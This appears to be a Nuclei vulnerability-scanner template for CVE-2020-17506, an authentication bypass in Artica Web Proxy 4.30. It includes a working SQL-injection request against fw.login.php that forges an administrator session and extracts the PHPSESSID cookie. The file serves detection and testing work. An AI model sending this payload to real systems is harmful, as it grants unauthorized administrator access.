nuclei-templates/cves/2020/CVE-2020-17506.yaml

37 lines
1.0 KiB
YAML
Raw Normal View History

2021-01-02 04:56:15 +00:00
id: CVE-2020-17506
2020-08-20 15:11:34 +00:00
info:
name: Artica Web Proxy 4.30 Authentication Bypass
author: dwisiswant0
severity: critical
2020-08-25 22:43:40 +00:00
description: Artica Web Proxy 4.30.00000000 allows remote attacker to bypass privilege detection and gain web backend administrator privileges through SQL injection of the apikey parameter in fw.login.php.
tags: cve,cve2020
references: https://blog.max0x4141.com/post/artica_proxy/
2020-08-20 15:11:34 +00:00
requests:
- method: GET
path:
- "{{BaseURL}}/fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27;"
redirects: true
max-redirects: 1
2020-08-20 15:11:34 +00:00
matchers-condition: and
matchers:
- type: word
words:
- "artica-applianc"
2020-08-20 15:11:34 +00:00
- type: status
status:
- 200
- 301
- 302
condition: or
- type: word
name: session
2020-08-20 15:11:34 +00:00
words:
- "PHPSESSID"
part: header
extractors:
- type: kval
kval:
2020-08-25 22:43:40 +00:00
- "PHPSESSID"